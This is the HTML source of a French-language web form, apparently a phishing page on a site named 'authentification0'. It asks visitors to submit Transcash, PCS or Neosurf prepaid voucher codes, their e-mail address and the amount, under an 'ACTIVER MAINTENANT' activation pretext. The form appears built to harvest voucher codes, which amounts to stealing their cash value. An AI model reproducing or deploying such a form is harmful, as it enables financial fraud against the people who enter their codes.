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POST //forms.yola.com/formservice/fr/01aba9a17e334fe3add375bf003fd3b0/4ff8e6e720e84d11998295fe0c8e470c/7d85e6672ee54c50abd229b264b8b260/Idc90037a13ae453fb63cdb5e15b27692/

<form method="post" accept-charset="UTF-8" action="//forms.yola.com/formservice/fr/01aba9a17e334fe3add375bf003fd3b0/4ff8e6e720e84d11998295fe0c8e470c/7d85e6672ee54c50abd229b264b8b260/Idc90037a13ae453fb63cdb5e15b27692/">
  <div class="yola-form-field">
    <p class="label">TYPES DE RECHARGE</p>
    <input class="checkbox" id="yola_form_widget_Idc90037a13ae453fb63cdb5e15b27692_0_0" type="checkbox" name="0<checkbox>" value="Transcash">
    <label for="yola_form_widget_Idc90037a13ae453fb63cdb5e15b27692_0_0"><span class="checkbox_styles"></span>Transcash</label>
    <br>
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    <label for="yola_form_widget_Idc90037a13ae453fb63cdb5e15b27692_0_1"><span class="checkbox_styles"></span>PCS</label>
    <br>
    <input class="checkbox" id="yola_form_widget_Idc90037a13ae453fb63cdb5e15b27692_0_2" type="checkbox" name="0<checkbox>" value="NEOSURF">
    <label for="yola_form_widget_Idc90037a13ae453fb63cdb5e15b27692_0_2"><span class="checkbox_styles"></span>NEOSURF</label>
    <br>
    <input type="hidden" name="0<label>" value="TYPES DE RECHARGE">
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  <div class="yola-form-field">
    <p class="label"><label for="yola_form_widget_Idc90037a13ae453fb63cdb5e15b27692_1">VOTRE E-MAIL</label></p>
    <input id="yola_form_widget_Idc90037a13ae453fb63cdb5e15b27692_1" class="email" name="1<text>" type="email" value="">
    <input type="hidden" name="1<label>" value="VOTRE E-MAIL">
  </div>
  <div class="yola-form-field">
    <p class="label"><label for="yola_form_widget_Idc90037a13ae453fb63cdb5e15b27692_2">CODE DE RECHARGE</label></p>
    <input id="yola_form_widget_Idc90037a13ae453fb63cdb5e15b27692_2" class="text" name="2<text>" type="text" value="">
    <input type="hidden" name="2<label>" value="CODE DE RECHARGE">
  </div>
  <div class="yola-form-field">
    <p class="label">Souhaitez-vous cacher le code</p>
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    <label for="yola_form_widget_Idc90037a13ae453fb63cdb5e15b27692_3_0"><span class="radio_styles"></span>OUI</label>
    <br>
    <input class="radio" id="yola_form_widget_Idc90037a13ae453fb63cdb5e15b27692_3_1" type="radio" name="3<radio>" value="NON">
    <label for="yola_form_widget_Idc90037a13ae453fb63cdb5e15b27692_3_1"><span class="radio_styles"></span>NON</label>
    <br>
    <input type="hidden" name="3<label>" value="Souhaitez-vous cacher le code">
  </div>
  <div class="yola-form-field">
    <p class="label"><label for="yola_form_widget_Idc90037a13ae453fb63cdb5e15b27692_4">MONTANT DE RECHARGE</label></p>
    <input id="yola_form_widget_Idc90037a13ae453fb63cdb5e15b27692_4" class="text" name="4<text>" type="text" value="">
    <input type="hidden" name="4<label>" value="MONTANT DE RECHARGE">
  </div>
  <input type="hidden" name="redirect" value="https://authentification0.yolasite.com/?formIdc90037a13ae453fb63cdb5e15b27692Posted=true">
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        <div><iframe title="reCAPTCHA"
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        </div><textarea id="g-recaptcha-response" name="g-recaptcha-response" class="g-recaptcha-response"
          style="width: 250px; height: 40px; border: 1px solid rgb(193, 193, 193); margin: 10px 25px; padding: 0px; resize: none; display: none;"></textarea>
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  <p><input class="submit" type="submit" value="ACTIVER MAINTENANT"></p>
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